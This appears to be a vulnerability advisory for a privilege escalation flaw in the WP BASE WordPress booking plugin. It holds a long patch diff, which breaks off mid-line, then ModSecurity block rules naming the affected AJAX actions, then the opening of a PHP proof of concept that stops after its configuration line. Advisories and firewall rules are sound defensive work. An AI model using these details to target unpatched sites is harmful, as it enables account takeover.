 		$wh_ends = wpb_setting( 'wh_ends', '18:00' );
-
+
 		return array(
 			'all_day'			=> wpb_get_text( 'all_day' ),
 			'checkin'			=> wpb_get_text( 'checkin_text' ),
@@ -346,6 +315,7 @@
 			'colorPresets'		=> wpb_get_preset(),
 			'confirmDeleteLog'	=> __( 'Are you sure to clear the log file?', 'wp-base' ),
 			'confirmEmpty'		=> __( 'You are about to delete at least one record. Are you sure to do this?', 'wp-base' ),
+			'confirmPay'		=> __( 'Do you want to pay commission to the selected records?', 'wp-base' ),
 			'confirmReset'		=> __( 'WARNING!! This action will clear all existing database records (bookings, transactions, locations, services, service providers, working hours). Are you sure to do this?', 'wp-base' ),
 			'confirmResetAgain'	=> __( 'Are you REALLY SURE TO DELETE the database records?', 'wp-base' ),
 			'confirmRestore'	=> __( 'This action will restore all WP BASE settings to the defaults. Database records (bookings, transactions, locations, services, service providers, working hours) will not be changed. Are you sure to do this?', 'wp-base' ),
@@ -391,7 +361,8 @@
 									'showImages'	=> 'yes' == wpb_setting( 'schedule_show_images', 'yes' ),	# Show worker images
 									'showCheckout'	=> 'yes' != wpb_setting( 'end_date_for_venue' ), 			# Show checkin/Checkout texts
 									'showTimeline'	=> wpb_is_admin_user() && BASE()->get_nof_workers(), 		# Whether show Timeline in Schedules
-									'editable'		=> wpb_is_admin_user() || (wpb_is_worker() && in_array( wpb_setting( 'allow_worker_edit' ), array('yes','only_schedules','also_admin') ) ), # Whether allow workers editing in Schedules
+									'client'			=> wpb_is_client(),
+									'editable'		=> wpb_is_admin_user() || (wpb_is_worker() && in_array( wpb_setting( 'allow_worker_edit' ), array('yes','only_schedules','also_admin') ) ) || (wpb_is_client() && 'yes' == wpb_setting('allow_edit')), # Whether allow workers editing in Schedules
 									'lockEnabled'	=> (bool)BASE()->get_nof_workers(),	# Interlocking (Global)
 									'lockEnabledMS'	=> wpb_is_multi_store(), 			# Interlocking (Multi Store)
 									'useFilter'		=> false,							# User filter for Multiselect
@@ -404,8 +375,8 @@
      */
 	public function front_data(){
 		global $current_screen, $wp_locale, $post;
-
-		$post_id = ! empty( $this->current_post_id )
+
+		$post_id = ! empty( $this->current_post_id )
 				   ? $this->current_post_id
 				   : (!empty( $post->ID ) ? $post->ID : 0);

@@ -546,10 +517,6 @@
 			$data = apply_filters( 'app_js_data', wpb_array_merge( $data, $this->front_data() ), 'front' );
 		}

-		if ( $handle = $this->register_moment_locale() ) {
-			$deps[] = $handle;
-		}
-
 		wp_register_script( 'wp-base-admin-scripts', WPB_PLUGIN_URL . '/js/admin/admin-scripts.js', $deps, $this->ver() );
 		$this->localize( $data );

@@ -573,10 +540,6 @@
 			}
 		}

-		if ( $handle = $this->register_moment_locale() ) {
-			$deps[] = $handle;
-		}
-
 		wp_register_script( 'wp-base-front-scripts', WPB_PLUGIN_URL . '/js/front-scripts.js', $deps, $this->ver(), true );
 		$this->localize( $data );
 		$this->enqueue_effects();
@@ -590,7 +553,7 @@
 	 * Load common styles
 	 */
 	private function load_common_css() {
-		wp_enqueue_style( 'wp-base-updating', WPB_PLUGIN_URL . '/css/updating.css', array(), $this->ver() );
+		wp_enqueue_style( 'wp-base-panels' );
 		wp_enqueue_style( 'jquery-ui-'.sanitize_file_name( $this->a->selected_theme() ), $this->a->get_theme_file(), array(), $this->ver() );

 		if ( WpBDebug::is_debug() ) {
@@ -602,7 +565,7 @@
 			wp_enqueue_style( 'jquery-datatables-responsive-ui', WPB_PLUGIN_URL . '/css/responsive.jqueryui.css', array(), $this->ver() );
 			wp_enqueue_style( 'jquery-datatables-jqueryui', WPB_PLUGIN_URL . '/css/dataTables.jqueryui.css', array(), $this->ver() );
 		} else {
-			wp_enqueue_style( "wp-base-libs-min", WPB_PLUGIN_URL . "/css/libs.min.css", array(), $this->ver() );
+			wp_enqueue_style( 'wp-base-libs-min', WPB_PLUGIN_URL . '/css/libs.min.css', array(), $this->ver() );
 		}

 		if ( is_rtl() ) {
@@ -622,7 +585,7 @@
 			return;
 		}

-		wp_enqueue_style( 'wp-base-admin', WPB_PLUGIN_URL . '/css/admin.css', array(), $this->ver() );
+		wp_enqueue_style( 'wp-base-admin' );
 		wp_enqueue_style( 'wp-color-picker' );
 		wp_enqueue_style( 'editor-buttons' );	// Fix for: wp_editor call does not load editor.min.css on emails page

@@ -653,7 +616,7 @@

 		do_action( 'app_styles_enqueued', $this );
 	}
-
+
 	/**
 	 * Load assets for unsupported page builders or templates upon WP BASE shortcode usage
 	 * @uses do_shortcode_tag filter hook
@@ -661,18 +624,18 @@
 	 * @return string
 	 */
 	public function do_shortcode_tag( $output, $tag ) {
-
+
 		if ( ! did_action( 'app_scripts_enqueued' )  && in_array( $tag, wpb_shortcodes() ) ) {
 			$this->load_front();
 			$this->load_front_css();
-
-			if ( 'app_account' == $tag || 'app_manage' == $tag ) {
+
+			if ( in_array( $tag, array( 'app_account', 'app_manage', 'app_list', 'app_store' ) ) ) {
 				wp_enqueue_style( 'wp-base-admin-front' );
 				$this->load_admin();
 				$this->load_admin_css();
 			}
 		}
-
+
 		return $output;
 	}

--- a/wp-base-booking-of-appointments-services-and-events/includes/class.controller.php
+++ b/wp-base-booking-of-appointments-services-and-events/includes/class.controller.php
@@ -52,9 +52,9 @@
 	 * @param	$force_priority	string		Change priority by instance, e.g. in admin inline edit
 	 */
 	public function __construct( $norm_or_booking, $order_by = "sort_order", $force_priority = false, $event = null ) {
-
+
 		$this->a = BASE();
-
+
 		if ( $norm_or_booking instanceof WpB_Booking ) {
 			$booking					= $norm_or_booking;
 			$this->req_location			= $booking->get_location();
@@ -84,7 +84,7 @@
 			$this->set_worker = $this->a->get_def_wid();
 			return;
 		}
-
+
 		if ( WPB_GCAL_SERVICE_ID == $this->req_service ) {
 			$this->set_service 	= $this->req_service;
 			$this->locations 	= array();
@@ -110,7 +110,7 @@
 				case self::WORKER:		$this->adjust_worker();		break;
 			}
 		}
-
+
 		add_filter( 'app_update_cals_reply', array( $this, 'update_cals_reply' ) );
 	}

@@ -124,23 +124,23 @@
 		if ( empty( $_POST['active_step'] ) ) {
 			return $reply;
 		}
-
+
 		$prev = ! empty( $reply['booking_info'] ) ? $reply['booking_info'] : array();
-
+
 		# Image
 		if ( $img_url = wpb_get_service_meta( $this->get_service(), 'image_url' ) ) {
 			$slider_image = '<div class="app-cover" style="background-image: url('.$img_url.')"></div>';
 		} else {
 			$slider_image = '';
 		}
-
+
 		# Duration
 		$s = BASE()->get_service( $this->get_service() );
-		$lasts = ! empty( $_REQUEST['app_duration'] )
-				 ? $_REQUEST['app_duration']
+		$lasts = ! empty( $_REQUEST['app_duration'] )
+				 ? $_REQUEST['app_duration']
 				 : (! empty( $s->duration ) ? $s->duration : BASE()->get_min_time());
-
-		$reply['booking_info'] = array_merge( $prev, array(
+
+		$reply['booking_info'] = array_merge( $prev, array(
 			'service_id' => $this->get_service(),
 			'location'	=> $this->is_loc_active() && $this->get_location() ? wpb_booking_info_line_html( 'location', $this->a->get_location_name( $this->get_location() ) ) : '',
 			'service'	=> wpb_booking_info_line_html( 'service', $this->a->get_service_name( $this->get_service() ) ),
@@ -149,7 +149,7 @@
 			'image'		=> $slider_image,
 			'cart_contents'	=> ! wpb_is_hidden('details') && BASE('Multiple')->values() ? BASE('Multiple')->cart_contents_html( BASE('Multiple')->values() ) : '',
 		) );
-
+
 		return $reply;
 	}

@@ -294,9 +294,9 @@
 	 * @return none
 	 */
 	private function set_random_worker( $ids ) {
-
+
 		shuffle( $ids );
-
+
 		if ( empty( $_POST['app_value'] ) && defined( 'WPB_CHECK_WORKER_AVAIL' ) && WPB_CHECK_WORKER_AVAIL ) {
 			$today = strtotime( 'today', $this->a->_time );
 			foreach ( $ids as $id ) {
@@ -505,22 +505,27 @@

 	/**
 	 * Create HTML for location select element
+	 * @param $ro		bool	Read Only, e.g not editable items
 	 * @since 3.0
 	 * @return string
 	 */
-	public function select_location( ) {
+	public function select_location( $ro = false ) {
 		$html = '<select class="app-admin-lsw app_select_locations app-no-ms" data-lsw="location" name="location">';
-
+
 		$loc_ids = wpb_is_manage_store() ? wpb_managed_stores() : array_keys( (array)$this->locations );

 		foreach ( $loc_ids as $loc_id ) {
 			$sel = $this->set_location == $loc_id ? ' selected="selected"' : '';

+			if ( $ro && ! $sel ) {
+				continue;
+			}
+
 			$html .= '<option value="'.$loc_id.'"'.$sel.'>'. $this->a->get_location_name( $loc_id ) . '</option>';
 		}

 		if ( ! $loc_ids ) {
-			$html .= '<option disabled="disabled">' . wpb_get_text('no_free_time_slots'). '</option>';
+			$html .= '<option disabled>' . wpb_get_text('no_free_time_slots'). '</option>';
 		}

 		$html .= '</select>';
@@ -530,22 +535,27 @@

 	/**
 	 * Create HTML for service select element
+	 * @param $ro		bool	Read Only, e.g not editable items
 	 * @param $new		bool	Package selection is allowed for new booking
 	 * @since 3.0
 	 * @return string
 	 */
-	public function select_service( $new = false ) {
+	public function select_service( $ro = false, $new = false ) {
 		$html = '<select class="app-admin-lsw app_select_services app-no-ms" data-lsw="service" name="service">';

 		foreach ( (array)$this->services as $service ) {
 			$sel		= $this->set_service == $service->ID ? ' selected="selected"' : '';
-			$disabled	= ! $new && $this->a->is_package( $service->ID ) ? ' disabled="disabled"' : '';
+			$disabled	= ! $new && $this->a->is_package( $service->ID ) ? ' disabled' : '';
+
+			if ( $ro && ! $sel ) {
+				continue;
+			}

-			$html .= '<option value="'.$service->ID.'"'.$sel.$disabled.'>'. $this->a->get_service_name( $service->ID ) . '</option>';
+			$html .= '<option '.($ro && ! $sel ? 'disabled' : '').' value="'.$service->ID.'"'.$sel.$disabled.'>'. $this->a->get_service_name( $service->ID ) . '</option>';
 		}

 		if ( ! $this->services ) {
-			$html .= '<option disabled="disabled">'. wpb_get_text('no_free_time_slots') .'</option>';
+			$html .= '<option disabled>'. wpb_get_text('no_free_time_slots') .'</option>';
 		}

 		$html .= '</select>';
@@ -555,10 +565,11 @@

 	/**
 	 * Create HTML for worker select element
+	 * @param $ro		bool	Read Only, e.g not editable items
 	 * @since 3.0
 	 * @return string
 	 */
-	public function select_worker( ) {
+	public function select_worker( $ro = false ) {
 		$html = '<select class="app-admin-lsw app_select_workers app-no-ms" data-lsw="worker" name="worker">';

 		if ( $this->workers ) {
@@ -575,6 +586,10 @@

 				$sel = $this->set_worker == $worker->ID ? ' selected="selected"' : '';

+				if ( $ro && ! $sel ) {
+					continue;
+				}
+
 				$html .= '<option value="'.$worker->ID.'"'.$sel.'>'. $this->a->get_worker_name( $worker->ID ) .'</option>';
 			}

@@ -646,12 +661,12 @@
 				if ( $maybe_desc = wpb_get_location_meta( $ID, 'description' ) ) {
 					$desc = $maybe_desc;
 					$sub_context = 'description';
-				}
+				}
 			} else if ( 'worker' == $context ) {
 				if ( $maybe_img = get_user_meta( $ID, 'app_profile_image', true ) ) {
 					$slider_image = '<img src="'.esc_attr( $maybe_img ).'" alt="User Image" />';
 				}
-
+
 				if ( $maybe_desc = get_user_meta( $ID, 'app_description', true ) ) {
 					$desc = $maybe_desc;
 					$sub_context = 'description';
--- a/wp-base-booking-of-appointments-services-and-events/includes/class.service.php
+++ b/wp-base-booking-of-appointments-services-and-events/includes/class.service.php
@@ -580,6 +580,24 @@
 	}

 	/**
+	 * Get Rich Text Editor content
+	 * @since 5.9.1
+	 * @return string
+	 */
+	public function get_rte_content() {
+		return wpb_get_service_meta( $this->ID, 'rte_content' );
+	}
+
+	/**
+	 * Update Rich Text Editor content
+	 * @since 5.9.1
+	 * @return bool
+	 */
+	public function update_rte_content( $desc ) {
+		return wpb_update_service_meta( $this->ID, 'rte_content', $desc );
+	}
+
+	/**
 	 * Get Featured Image Url
 	 * @return string
 	 */
--- a/wp-base-booking-of-appointments-services-and-events/includes/constant-data.php
+++ b/wp-base-booking-of-appointments-services-and-events/includes/constant-data.php
@@ -151,6 +151,13 @@
 Yours sincerely,
 SITE_NAME";

+	public static $_commission_paid_message = "Dear VENDOR,
+
+A payment of AMOUNT has been made to your account.
+
+For your information,
+SITE_NAME";
+
 	public static $_waiting_list_message = "Dear CLIENT,

 We have received your appointment submission for SITE_NAME.
@@ -255,6 +262,10 @@
 <div><em>NOTE</em></div>
 <div><strong>STATUS</strong> · APP_ID</div>';

+	public static $_schedule_desc_client = '<div>SERVICE · PAX pax</div>
+<div>WORKER</div>
+<div><strong>STATUS</strong> · APP_ID</div>';
+
 	public static function privacy_content() { return __('We collect information about you during the checkout process on our website. This information may include, but is not limited to, your name, email address, phone number and any other details that might be requested from you for the purpose of processing your orders.
 Handling this data also allows us to:
 - Send you important account/order/service information.
@@ -302,6 +313,7 @@
 			$currency		= wpb_format_currency();

 			$defaults = array(
+				'account_page'					=> array( '', __('Account Page', 'wp-base'), __('The page where <code>[app_account]</code> resides. Normally WP BASE automatically locates this page and sets this setting, however in some cases you may need to set it yourself.', 'wp-base') ),
 				'additional_css'				=> array( '', __('Additional css Rules (Front end)', 'wp-base'), __('You can add css rules to customize styling. These will be added to the front end appointment page(s) only.', 'wp-base') ),
 				'additional_css_admin'			=> array( '', __('Additional css Rules (Admin side)', 'wp-base'), __('You can add css rules to customize styling. These will be added to the admin side only, e.g. to user profile page.', 'wp-base') ),
 				'additional_min_time'			=> array( '', __('Additional Time Base (minutes)', 'wp-base'), __('If selectable time bases do not fit your business, you can add a new one, e.g. 90. Note: 1) After you save this additional time base, you must select it using the Time Base setting. 2) Minimum allowed time base setting is 5 minutes. 3) Entered value should be divisible by 5. For example, 24 is not allowed and it will be rounded to 25.', 'wp-base' ) ),
@@ -315,12 +327,11 @@
 				'agora_api_id'					=> array( '', __('App ID','wp-base'), sprintf( __('Get this value from your %s.', 'wp-base'), '<a class="app-btm" href="https://console.agora.io/" target="_blank">'.__('Agora account').'</a>' ), 'Online Meetings' ),
 				'agora_cert'					=> array( '', __('App Certificate','wp-base'), sprintf( __('Primary certificate from your %s.', 'wp-base'), '<a class="app-btm" href="https://console.agora.io/" target="_blank">'.__('Agora account').'</a>' ), 'Online Meetings' ),
 				'agora_enable'					=> array( 'yes', __('Enable Agora','wp-base'), __('Enables integration with Agora Online Meetings.', 'wp-base'), 'Online Meetings' ),
-				'agora_layout'					=> array( 0, __('Layout','wp-base'), __('Layout of the participant screens', 'wp-base'), 'Online Meetings' ),
 				'agora_subject'					=> array( 'SITE_NAME SERVICE Meeting', __('Agora Subject','wp-base'), sprintf( __('Meeting subject (title). <abbr title="%s">Booking placeholders</abbr> can be used. During meeting creation, these placeholders will be replaced by their real values.', 'wp-base'), WpBConstant::email_desc(1) ), 'Online Meetings' ),
 				'allow_cancel'					=> array( 'no', __('Allow Client Cancel Own Bookings', 'wp-base'), __('Whether to allow clients cancel their bookings using the link in confirmation and reminder emails or using Booking List table or for logged in users, using check boxes in their profile pages. For the email case, you will also need to add CANCEL placeholder to the email message content.', 'wp-base' ) ),
 				'allow_client_set_tz'			=> array( 'no', __('Allow Clients Select Own Timezone', 'wp-base'), __('If selected as "Yes", clients can manually select their timezone in their profile page. This setting overrides automatic dedection.', 'wp-base') ),
 				'allow_confirm'					=> array( 'yes', __('Allow Client Confirm Bookings by Email', 'wp-base'), __('Whether to allow clients confirm their bookings using the link in any email they receive. This link is added by using CONFIRM placeholder in email bodies.', 'wp-base' ) ),
-				'allow_edit'					=> array( 'no', __('Allow Client Edit Own Bookings','wp-base'), __('Whether you let client edit own appointments on the front end. Client can activate editing popup form by one of the following methods: 1) Clicking Edit button in WordPress user page, 2) Clicking Edit button in List Of Bookings, 4) Clicking Edit button in Bookings tab of Account page, 4) Clicking the link in emails. This link is created by inserting EDIT placeholder to the email body.','wp-base'),'Front End Edit' ),
+				'allow_edit'					=> array( 'no', __('Allow Client Edit Own Bookings','wp-base'), __('Whether you let client edit own bookings on List of Bookings or Schedules tab of Account page.','wp-base') ),
 				'allow_now'						=> array( 'no', __('Allow Late Booking', 'wp-base'), __('Setting this as Yes will allow booking of a time slot when current time is within selected time slot, i.e. appointment start time has passed, but it has not ended yet.', 'wp-base' ) ),
 				'allow_register'				=> array( 'auto', __('Allow Registration at Checkout', 'wp-base'), __('Whether add registration fields at checkout. "Auto" follows WordPress "Anyone can register" setting.', 'wp-base' ) ),
 				'allow_worker_annual'			=> array( 'no', __('Set Own Seasonal Schedules', 'wp-base'), __('Requires Seasonal Working Hours Addon. Whether you let service providers to set their annual schedules using their navigation tab in BuddyPress (Requires BuddyPress addon) or their profile page in regular WordPress. They are also allowed to add new custom schedules, but not to delete them.', 'wp-base'), 'Service Providers' ),
@@ -406,9 +417,9 @@
 				'disable_tooltips'				=> array( 'no', __('Disable Tooltips in Booking Calendars', 'wp-base'), __('Selecting "No" will disable tooltips like "Click to pick date", etc. Note: In Debug mode, tooltips are displayed.', 'wp-base' ) ),
 				'dp_reminder_attach'			=> array( 'no', __('Create and Attach pdf File', 'wp-base'), __('Whether to attach a pdf file that will be created from the below fields. If attachment field is empty, file will not be attached (empty file will not be sent).', 'wp-base'), 'PDF' ),
 				'dp_reminder_limit'				=> array( '', sprintf( __('Due Payment Reminder Sending Limit of Balance (%s)', 'wp-base'), BASE()->get_options('currency', 'USD') ), __('Due payment reminder is only sent if balance is negative and absolute value of balance for the appointment is greater than this amount. For example, if this value is set as 10$, an appointment with -9$ balance will not result to a reminder email, but -11$ will. Leave empty if you want to remind client in case of any negative balance.', 'wp-base'), 'Reminder and Follow-up emails' ),
-				'dp_reminder_message'			=> array( '', __('Due Payment Reminder email Message', 'wp-base'), '', 'Reminder and Follow-up emails' ),
+				'dp_reminder_message'			=> array( '', __('Due Payment Reminder Email Message', 'wp-base'), '', 'Reminder and Follow-up emails' ),
 				'dp_reminder_statuses'			=> array( 'paid,confirmed,completed', __('Booking Statuses Due Payment emails Applied to', 'wp-base'), __('Only clients having appointments with selected status(es) will receive due payment reminder email. If none selected, due payment emails will not be sent at all.', 'wp-base'), 'Reminder and Follow-up emails' ),
-				'dp_reminder_subject'			=> array( '', __('Due Payment Reminder email Subject', 'wp-base'), '', 'Reminder and Follow-up emails' ),
+				'dp_reminder_subject'			=> array( '', __('Due Payment Reminder Email Subject', 'wp-base'), '', 'Reminder and Follow-up emails' ),
 				'dp_reminder_time'				=> array( '72,48', __('Due Payment Reminder email Sending Time (hours)', 'wp-base'), __('Defines the time in hours that reminder email will be sent after the appointment has been booked (creation time). Note that this is different than appointment reminder email where appointment start time is taken as reference. Multiple reminders are possible. To do so, enter reminding hours separated with a comma, e.g. 48,72.', 'wp-base'), 'Reminder and Follow-up emails' ),
 				'dummy_assigned_to'				=> array( 0, __('Assign Dummy Providers to', 'wp-base'), __('You can define "Dummy" service providers to enrich your service provider alternatives and variate your working schedules. Their availability and other properties will be exactly like ordinary providers except the emails they are supposed to receive will be forwarded to the user you select here.', 'wp-base'), 'Service Providers' ),
 				'duration_format'				=> array( 'hours_minutes', __('Service Duration Display Format', 'wp-base'), __('With this setting, you can select display format of durations on the front end (minutes, hours, hours+minutes).', 'wp-base' ) ),
@@ -417,10 +428,10 @@
 				'edd_price_name'				=> array( 'From: DATE_TIME To: END_DATE_TIME', __('Booking Info','wp-base'), sprintf( __('Short information about the booking, for example date, time, provider. All <abbr title="%s">booking placeholders</abbr> can be used.','wp-base'), WpBConstant::email_desc(1) ), 'EDD' ),
 				'edd_product_meta'				=> array( 'PRODUCT_LINK', __('Booking Details','wp-base'), sprintf( __('Details of booking that will be added below product name. All <abbr title="%s">booking placeholders</abbr> can be used.','wp-base'), WpBConstant::email_desc(1) ), 'EDD' ),
 				'edd_product_name'				=> array( 'SERVICE Booking', __('Booking Title','wp-base'), sprintf( __('Defines how the selected booking will be displayed in the cart and receipt. All <abbr title="%s">booking placeholders</abbr> can be used.','wp-base'), WpBConstant::email_desc(1) ), 'EDD' ),
-				'editable'						=> array( $editable, __('Editable Booking Fields','wp-base'), sprintf( __('Select which booking fields can be edited. Note: UDF fields can be limited using "Editable" column on %s page. ','wp-base'), '<a href="'.admin_url('admin.php?page=app_display&tab=udf').'" target="_blank">'.__('UDF settings','wp-base').'</a>' ),'Front End Edit' ),
-				'edit_change_price'				=> array( 'yes', __('Allow Price Display and Change'), __('Whether change in selections will affect price.','wp-base'),'Front End Edit' ),
-				'edit_limit'					=> array( '', __('Editing Lower Limit (hours)','wp-base'), __('Number of hours from appointment start time until which client can edit their appointment. For example, entering 24 will disable editing one day before the appointment is due. In such a case any editing request will be replied with "Too late" response. Note: Admins and those who have given editing capability with "cap" attribute are not limited with this setting.','wp-base'),'Front End Edit' ),
-				'edit_upper_limit'				=> array( 60, __('Editing Upper Limit (days)','wp-base'), __('Only bookings whose start date is earlier than this setting can be edited. If left empty, global Upper Limit will be used.','wp-base'),'Front End Edit' ),
+				'editable'						=> array( $editable, __('Editable Booking Fields','wp-base'), sprintf( __('Select which booking fields can be edited. Note: UDF fields can be limited using "Editable" column on %s page. ','wp-base'), '<a href="'.admin_url('admin.php?page=app_display&tab=udf').'" target="_blank">'.__('UDF settings','wp-base').'</a>' ) ),
+				'edit_change_price'				=> array( 'yes', __('Allow Price Display and Change'), __('Whether change in selections will affect price.','wp-base') ),
+				'edit_limit'					=> array( '', __('Editing Lower Limit (hours)','wp-base'), __('Number of hours from appointment start time until which client can edit their appointment. For example, entering 24 will disable editing one day before the appointment is due. In such a case any editing request will be replied with "Too late" response. Note: Admins and those who have given editing capability with "cap" attribute are not limited with this setting.','wp-base') ),
+				'edit_upper_limit'				=> array( 60, __('Editing Upper Limit (days)','wp-base'), __('Only bookings whose start date is earlier than this setting can be edited. If left empty, global Upper Limit will be used.','wp-base') ),
 				'enable_timezones'				=> array( 'no', __('Enable Timezones', 'wp-base'), __('If selected as "Yes", timezone of the client is taken into account during display of booking UI's, list of bookings and emails. Admin side and database records are not affected.', 'wp-base'), 'Advanced Features' ),
 				'end_date_for_venue'			=> array( 'no', __('Show End Date Based on Venue Bookings', 'wp-base'), __('For bookings that last one day and longer, whether display end date according to venue bookings. By default (Setting "No"), end date is displayed based on <i>nightly room bookings</i> and it shows the <i>checkout</i> date which is one day past the actual end timestamp. If you select "Yes", end date will be shown based on <i>daytime venue bookings</i> and there will not be an offset for checkout. Note: This selection does not affect how booking is saved to the database, but just how it is displayed on the front end.', 'wp-base' ) ),
 				'ep_if_several'					=> array( 'min', __('Price to Apply upon Multiple Rule Match', 'wp-base'), __('If there are several matching rules, price returned can be selected among minimum, maximum or average of the non-zero prices calculated by matching rules.', 'wp-base'), 'Custom Pricing' ),
@@ -522,7 +533,10 @@
 				'mv_client_approval_time'		=> array( 3, __('Auto Approval Time (days)', 'wp-base'), __('After this time, even if client did not approve, completed bookings will be automatically approved. Leaving empty means 3 days.', 'wp-base'), 'Marketplace' ),
 				'mv_commission_if_several'		=> array( 'max', __('Commission to Apply upon Multiple Role Match', 'wp-base'), __('If vendor has several matching roles, commission rate to be applied can be selected among minimum or maximum of the commissions of matching roles.', 'wp-base'), 'Marketplace' ),
 				'mv_commission_nof_rates'		=> array( 0, __('Number of Commission Rates', 'wp-base'), __('You can define commission percentage based on WordPress user role of the vendor, e.g. to give better commission to certain membership levels. If you will use them, select number of commission rates.', 'wp-base'), 'Marketplace' ),
+				'mv_commission_payment'			=> array( 'manual', __('Commission Payment Method', 'wp-base'), __('Commissions can be paid to vendors automatically when booking is completed or booking is approved by the client or manually at any desired time. Note: When automatic payment is selected, you can also pay manually on Commissions page.', 'wp-base'), 'Marketplace' ),
 				'mv_commission_rate'			=> array( '60', __('Commission Rate (%)', 'wp-base'), __('Percentage of the booking revenue that will be received by the vendor.', 'wp-base'), 'Marketplace' ),
+				'mv_enable_approved'			=> array( 'no', __('Enable Approved Status', 'wp-base'), __('Whether to use Approved status.', 'wp-base'), 'Marketplace' ),
+				'mv_enable_stripe_connect'		=> array( 'no', __('Enable Stripe Connect', 'wp-base'), __('Whether to use Stripe Connect to pay commissions to vendors.', 'wp-base'), 'Marketplace' ),
 				'mv_fees_paid_by'				=> array( 'website', __('Fees Covered By', 'wp-base'), __('Who will cover the transaction fees. If covered by vendor, fees are deducted from client payment and vendor's earning will be lower.', 'wp-base'), 'Marketplace' ),
 				'mv_give_commission_own_sales'	=> array( 'no', __('Give Commission for Own Sales', 'wp-base'), __('Whether to give commission if client is the vendor themselves.', 'wp-base'), 'Marketplace' ),
 				'mv_hide_non_vendor_calendar'	=> array( 'yes', __('Hide Non-Vendor Booking Calendars', 'wp-base'), __('Whether to hide booking calendars on pages of non-vendors. Setting this to "Yes" will mean: For the above bio page CPTs, booking is only allowed on approved vendor bio pages.', 'wp-base'), 'Marketplace' ),
@@ -544,7 +558,6 @@
 				'mv_store_post_content'			=> array( '', __('Default Page Content', 'wp-base'), __('Content of the store page, typically including <code>[app_book]</code> shortcode in order to let clients book their services. Only services of this store are selectable from this shortcode.', 'wp-base'), 'Marketplace' ),
 				'mv_store_post_title'			=> array( 'COMPANY_NAME', __('Default Page Title', 'wp-base'), __('Title of the store page. Placeholders COMPANY_NAME and VENDOR_NAME will be replaced by vendor data.', 'wp-base'), 'Marketplace' ),
 				'mv_store_post_type'			=> array( 'post', __('Post Type for Store Pages', 'wp-base'), __('Post type that will be used for stores. A CPT is recommended, e.g. Place', 'wp-base' ), 'Marketplace' ),
-				'mv_enable_approved'			=> array( 'no', __('Enable Approved Status', 'wp-base'), __('Whether to use Approved status.', 'wp-base'), 'Marketplace' ),
 				'mv_um_account_page'			=> array( '', __('Account Page (only for UM)', 'wp-base'), __('UM Account Page may have a Bookings item to redirect to WP BASE Account page. The page which includes <code>[app_account]</code> should be selected here.', 'wp-base'), 'Marketplace' ),
 				'mv_use_wc_cart'				=> array( 'no', __('Use WooCommerce Cart for Payment', 'wp-base'), sprintf( __('When you enable WooCommerce cart, payments will be handled with WooCommerce checkout system even if bio page is not a WooCommerce product CPT. WooCommerce plugin and WP BASE WooCommerce Integration addon must be activated. Also see %s.', 'wp-base'), '<a href="'.admin_url( 'admin.php?page=app_settings&tab=advanced#woocommerce' ).'">'.__( 'WooCommerce settings', 'wp-base' ).'</a>'), 'Marketplace' ),
 				'mv_usership'					=> array( '', __('User Profile Plugin Integration', 'wp-base'), __('Select the user profile plugin you want to integrate from the list. With this integration, vendor can be directly booked from profile page of the user profile plugin.', 'wp-base'), 'Marketplace' ),
@@ -570,9 +583,13 @@
 				'reminder_time_sms_worker'		=> array( '4', __('Reminder SMS Sending Time for the Provider (hours)', 'wp-base'), __('Same as Reminder SMS Sending Time for the Client, but defines the time for service provider.', 'wp-base'), 'SMS' ),
 				'reminder_time_worker'			=> array( '4', __('Reminder email Sending Time for the Provider (hours)', 'wp-base'), __('Same as Reminder email Sending Time for the Client, but defines the time for service provider.', 'wp-base'), 'Reminder and Follow-up emails' ),
 				'reverse_log'					=> array( 'yes', __('Reverse Log', 'wp-base'), sprintf( __('Select "Yes" to reverse the display order of records in %s, from newest to oldest.', 'wp-base' ), '<a class="app-btm" href="'.admin_url("admin.php?page=app_tools&tab=log").'">'.__('log file').'</a>' ) ),
+				'schedule_allowed_stats_client'	=> array( 'paid,confirmed,pending,

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202639587,phase:2,deny,status:403,chain,msg:'CVE-2026-39587: Unauthenticated privilege escalation via WP BASE Booking AJAX',severity:'CRITICAL',tag:'CVE-2026-39587',tag:'WP-BASE-Booking',tag:'Privilege-Escalation'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:action "@within app_inline_edit_update app_get_booking_details app_service_inline_edit_save app_inline_edit_save" "chain"
      SecRule &REQUEST_COOKIES:wordpress_logged_in_ "@eq 0" 
        "t:none,setvar:'tx.cve_2026_39587_block=1'"

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202639588,phase:2,deny,status:403,chain,msg:'CVE-2026-39587: Block booking parameter manipulation without authentication',severity:'CRITICAL',tag:'CVE-2026-39587',tag:'WP-BASE-Booking'"
  SecRule ARGS_POST:action "@rx ^app_.*" "chain"
    SecRule ARGS_POST_NAMES "@rx ^(booking_|service_|worker_)" "chain"
      SecRule &REQUEST_COOKIES:wordpress_logged_in_ "@eq 0" 
        "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39587 - WP BASE Booking of Appointments, Services and Events <= 5.9.0 - Unauthenticated Privilege Escalation

<?php
/**
 * Proof of Concept for CVE-2026-39587
 * Unauthenticated Privilege Escalation in WP BASE Booking Plugin
 * 
 * This script demonstrates how an attacker can exploit the vulnerability
 * to obtain administrative privileges without authentication.
 */

// Configuration
$target_url = "http://vulnerable-wordpress-site.com"; // Change this to target site
